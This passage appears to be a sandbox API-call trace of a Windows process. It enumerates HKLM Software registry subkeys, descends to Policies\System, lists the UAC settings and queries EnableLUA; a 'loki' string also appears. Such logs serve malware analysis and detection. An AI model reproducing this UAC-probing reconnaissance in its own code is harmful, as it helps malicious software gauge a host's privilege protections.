(HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x28c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x28b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x28b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x28b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x28b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x28b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x28b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x28b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x28b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x28b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x28b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x28b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x28b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x28b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x28b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x28b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x28b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x28b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x28b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x28b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x28b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x28b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x28b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x28b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0252.931] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x28b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x28b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x28b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x28b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x28b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x28b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x28b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x28b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x28b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x28b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x28b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x28b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x28b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x28b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x28b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0252.932] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x28b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x28b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x28b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x28b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x28b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x28b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x28b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x28b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x28b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x28b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x28b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x28b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x28b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x28b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x28b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0252.933] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x28b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x28b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x28b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x28b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x28b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x28b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x28b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x28b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x28b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x28b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x28b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x28b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x28b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x28b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x28b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0252.934] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x28b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x28b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x28b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x28b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x28b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x28b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x28b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x28b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x28b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0252.935] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x28b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0252.935] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x15f7e4 | out: phkResult=0x15f7e4*=0xa0) returned 0x0 [0252.935] RegCloseKey (hKey=0x24) returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x28b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0252.936] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x15f7e4 | out: phkResult=0x15f7e4*=0x24) returned 0x0 [0252.936] RegCloseKey (hKey=0xa0) returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x28b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x28b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x28b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x28b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x28b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x28b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x28b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x28b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x28b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x28b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x28b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0252.936] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x28b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x28b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x28b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x28b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x28b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x28b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x28b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x28b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x28b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x28b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x28b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x28b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x28b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x28b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0252.937] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x28b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x28b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x28b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x28b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x28b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x28b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x28b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x28b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x28b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x28b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x28b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x28b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x28b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x28b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0252.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x28b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0252.938] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x15f7e4 | out: phkResult=0x15f7e4*=0xa0) returned 0x0 [0252.939] RegCloseKey (hKey=0x24) returned 0x0 [0252.939] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x28b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0252.939] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x28b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0252.939] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x28b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0252.939] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x28b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0252.939] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x28b930, cchName=0x104 | out: lpName="System") returned 0x0 [0252.939] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x15f7e4 | out: phkResult=0x15f7e4*=0x24) returned 0x0 [0252.939] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b930) returned 1 [0252.939] RegCloseKey (hKey=0xa0) returned 0x0 [0252.939] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b860) returned 1 [0252.939] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.939] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.939] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.939] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.939] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.940] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0252.940] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x15f7fc, lpData=0x0, lpcbData=0x15f804*=0x0 | out: lpType=0x15f7fc*=0x4, lpData=0x0, lpcbData=0x15f804*=0x4) returned 0x0 [0252.941] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x15f7fc, lpData=0x28c438, lpcbData=0x15f804*=0x4 | out: lpType=0x15f7fc*=0x4, lpData=0x28c438*=0x1, lpcbData=0x15f804*=0x4) returned 0x0 [0252.941] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c438) returned 1 [0252.941] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5a0) returned 1 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28b860 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b878 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5a0 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b888 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c438 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b898 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c558 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b930 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c510 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x15f6ec, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0x28b940 [0252.941] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28b860) returned 1 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28b860 [0252.941] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c4c8 [0252.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x15f6f0, lpcchValueName=0x15f6ec, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 